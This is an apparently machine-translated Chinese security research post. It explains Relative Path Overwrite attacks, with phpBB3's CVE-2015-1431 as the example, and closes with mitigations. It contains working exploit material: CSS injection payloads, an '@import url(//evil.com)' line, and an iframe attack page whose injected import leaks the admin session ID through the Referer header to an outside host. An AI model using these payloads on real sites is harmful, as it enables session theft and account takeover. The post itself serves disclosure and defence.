去年年初,Gareth Heyes推出了一种引人入胜的新技术,通过利用路径相对样式表导入来攻击Web应用程序,并将其称为“ 相对路径覆盖 ”。此攻击通过滥用许多常见Web语言和框架的路径处理功能,欺骗浏览器将HTML页面导入为样式表。由于极其宽容的样式表解析,这可以经常用于注入恶意CSS和劫持用户帐户。
这种技术目前非常深奥,因此对于已经接受过专业或众包审计的网站来说,它通常很有效。然而,在现实世界环境中成功利用它涉及导航一系列神秘的浏览器内部,这些内部通常与测试者无关。这篇文章的目的是通过在流行的公告板软件phpBB3中使用真正的漏洞作为一个有效的例子,逐步完成识别和利用这个问题的过程。
基础
网页可以使用路径相关链接来加载附近文件夹中的内容。例如,假设浏览器加载
并且此页面使用以下语句导入外部样式表:
<link href="styles/prosilver/theme/print.css" rel="stylesheet" type="text/css"/>
没有前导/表示浏览器应该相对于当前页面的文件夹解释它。Web浏览器将从当前URL计算此文件夹(/ phpBB3 /),并从以下位置获取样式表:
http://example.com/phpBB3/ styles/prosilver/theme/print.css
到现在为止还挺好。但是,由于PHP(以及.NET,JSP和许多框架*)的功能,可以通过以下方式访问相同的原始页面:
解析URL非常棘手,Web浏览器对这个功能一无所知,所以他们会误解这个URL,因为它引用了'/phpBB3/viewforum.php/anything/'文件夹中名为'here'的文件,并尝试将以下页面导入样式表:
http://example.com/phpBB3/viewforum.php/anything/styles/
服务器将此视为对/phpBB3/viewforum.php的第二个请求,并提供HTML响应。
利用技巧
当浏览器尝试将HTML页面加载为样式表时会发生什么?这取决于导入页面是否以“Quirks模式”呈现。Quirks模式旨在优雅地处理网络早期常见的编码不良的网站。如果Quirks模式处于活动状态,浏览器将很乐意忽略“Content-Type:text / html”标题并解析文档以查找要执行的任何CSS。如果没有,浏览器将拒绝解析它,并在开发人员工具中显示一条有用的消息:
要么:
这意味着要创建工作漏洞,我们需要以Quirks模式呈现页面。当HTML页面无法设置doctype时会自动触发Quirks模式,或者使用旧的模式,例如:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
请参阅https://hsivonen.fi/doctype/底部附近的表格 ,以获取相当全面的列表,其中列出了哪些文档类型会触发此行为。
幸运的是,即使页面使用现代doctype,也有一种触发Quirks模式的方法。Internet Explorer允许通过iframe继承文档模式,因此我们可以通过框架*强制任何页面以Quirks模式加载。phpBB3没有使用任何有效的反框架措施,所以我们可以继续使用这种攻击路线。以下HTML使用元标记确保激活Quirks模式,然后加载目标页面:
<html><head><meta http-equiv="X-UA-Compatible"content="IE=EmulateIE7"></head>
<body><iframe src=http://example.com/phpBB3/viewforum.php/foo/bar
我们可以通过注意尽管CSS仍然被打破,但由于mime类型不匹配而忽略了'CSS'消息已经消失。在某些罕见的情况下,一个不经意的服务器可能会检测到文件名以“.css”结尾并自动设置“Content-Type:text / css”,从而无需使用Quirks模式。
注入CSS
现在我们已经让浏览器将HTML页面导入为样式表,我们只需要一种方法来将恶意CSS置于适当的位置。由于CSS解析器是如此宽容,因此有效载荷落在HTML树中的哪个位置并不重要。我们需要做的就是注入以下最小有效负载:
%0A{}*{color:red;}
前导%0A {}是使CSS解析器进入正确状态以处理* { selector的必要条件,如果您不在引用的字符串中,则可以省略%0A。
根据页面显示的内容,有效负载可能来自经典持久性输入,或者用户的会话,引用者,路径或cookie。我们的目标页面反映了路径,因此我们将使用:
返回:
<link rel="alternate" type="application/atom+xml" title="Feed - yourdomain.com" href="http://example.com/phpBB3/search.php/
{}*{color:red;}//styles/prosilver/theme/feed.php" />
如果我们将此URL放在我们之前准备的iframe中,我们可以看到注入的CSS生效:
恶意CSS
要加载任意长度的外部样式表,只需用@import url(// evil.com)替换* {color:red;}有效内容。能够在别人的域上执行任意CSS打开了各种大屠杀的大门:
- 使用IE的expression()函数执行任意JavaScript。如果页面设置了doctype,即使启用了Quirks模式,这也无法正常工作。它在IE11中也不起作用。
- 使用CSS选择器提取页面源并窃取CSRF令牌。sirdarckcat在http://eaea.sirdarckcat.net/cssar/v2/上演示了这种攻击,并且可以适应隐藏输入。
- 使用http://html5sec.org/webkit/test高速提取页面源。见http://www.syssec.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf和http://channel9.msdn.com/Events/Blue-Hat-Security-Briefings / BlueHat-Security-Briefings-Fall-2012-Sessions / BH1203了解更多详情。
- 使用http://html5sec.org/cssession提取页面的URL
- 如果星星对齐,并且您在同一行上有两个注入点,并且两者之间存在一些敏感信息,则可以使用http://scarybeastsecurity.blogspot.co.uk/2009/12/在单个请求中提取它。generic-cross-browser-cross-domain.html (这里描述的技术不再适用于跨域,但仍然适用于同域)。
- 如果应用程序将敏感信息附加到样式表URL,请使用@import将其插入外部域并观察Referer头
在某些情况下,由于P3P,Internet Explorer拒绝向iframed站点发送cookie。这限制了对未经身份验证的内容攻击的攻击,例如从内部企业wiki中抓取密码。对我们来说幸运的是,此问题不会影响具有可靠P3P策略的Intranet站点或站点,并且甚至在Windows 10中也未实现P3P - 有关详细信息,请参阅 P3P快速查看。
最后一种方法可能听起来很不可信,但这正是phpBB3所做的。每当登录用户访问时
服务器将它们重定向到
http://example.com/phpBB3/adm/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8
'sid'是他们的会话密钥,新鲜出来的cookie。然后将此键附加到路径相对样式表导入:
<link href="./../style.php?id=1&lang=en&sid=6a37bda1ee5b560e1e70395cfb8b11d8" rel="stylesheet" type="text/css"
我们可以通过构建有效负载来滥用它,该有效负载通过HTTP引用标头在单个请求中公开整个会话令牌。这次攻击的来源是:
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
</head>
<body>
<iframe width="90%" height="90%" src="http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40import%2509%2527/////portswigger.net/css/ps.css%2527%253b%250C/a/b/c/d/e/f">
</iframe>
攻击URL有点乱,因为我必须对其进行双重URL编码才能完成初始重定向。此外,重定向编码和过滤空格和换行符,因此我分别用tab和'换页'字符替换它们,由 http://html5sec.org/#45提供。
当登录到phpBB的用户在Internet Explorer中加载时,它会触发以下事件序列:
- meta语句触发Quirks模式。
- 该网站在iframe中加载以下网址:http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40 import%2509%2527 /////portswigger.net/ css / ps.css%2527%253b%250C / a / b / c / d / e / f
- 这导致重定向到:http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27 ///portswigger.net/css/ps.css% 27%3B%0C / A / b / C / d /的index.php?SID = 6a37bda1ee5b560e1e70395cfb8b11d8
- 用户的浏览器呈现此页面并尝试将以下HTML页面加载为样式表:http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27 / //portswigger.net/css/ps.css%27%3b%0C/a/b/c/style.php?id=1&lang=en&sid = 6a37bda1ee5b560e1e70395cfb8b11d8
- 处理此页面时,CSS解析器到达并执行通过URL注入的以下语句:@import'//portswigger.net/css/ps.css'
这会使浏览器通过尝试使用以下referer标头获取http://portswigger.net/css/ps.css来泄漏会话ID :
获取sid令牌可以授予我们访问目标会话的权限,但是最后一次捕获。默认情况下,phpBB3将会话令牌与IP地址相关联,因此在远程攻击情形中,您需要使用DNS重新绑定通过受害者的浏览器进行代理,这种攻击在所有主流浏览器中都是可能的,但 遗憾的是超出了本文的范围。
自动检测
希望这篇文章有足够的细节,你可以使用coffee和网络浏览器找到这个漏洞。但是,如果您正在寻找更具可扩展性的东西,Burp Suite的被动扫描程序会自动识别并报告包含路径相关样式表导入的页面,这些页面可能容易受到内容嗅探。启动活动扫描将跟进此操作并验证服务器是否具有触发误导导入所需的路径处理功能:
注入CSS的最后一步(当前)留给用户练习。
保护应用程序
phpBB3中的示例漏洞被归类为CVE-2015-1431,并在 3.0.13 版本中修复。
通过在具有灵活路径处理的系统上不使用路径相对链接,可以解决根问题。最后,可以使用以下最佳实践步骤来缓解漏洞,这些步骤可能看起来非常熟悉:
- 在所有页面上设置服务器标题X-Frame-Options:deny
- 在所有页面上设置服务器标头X-Content-Type-Options:nosniff
- 在所有页面上设置现代doctype(例如:<!doctype html>)
结论
避免这个漏洞很容易,但我认为它首先出现的方式是容忍和灵活性与安全性冲突的一个很好的例子。如果没有垃圾快乐的CSS解析,浏览器弯曲规则和内容嗅探以呈现不符合要求的网页,或者Web框架将URL组件重新定义为伪查询字符串,这个问题就不会存在。
进一步的研究
在这篇文章发表后,其他一些人做了一些很好的后续研究: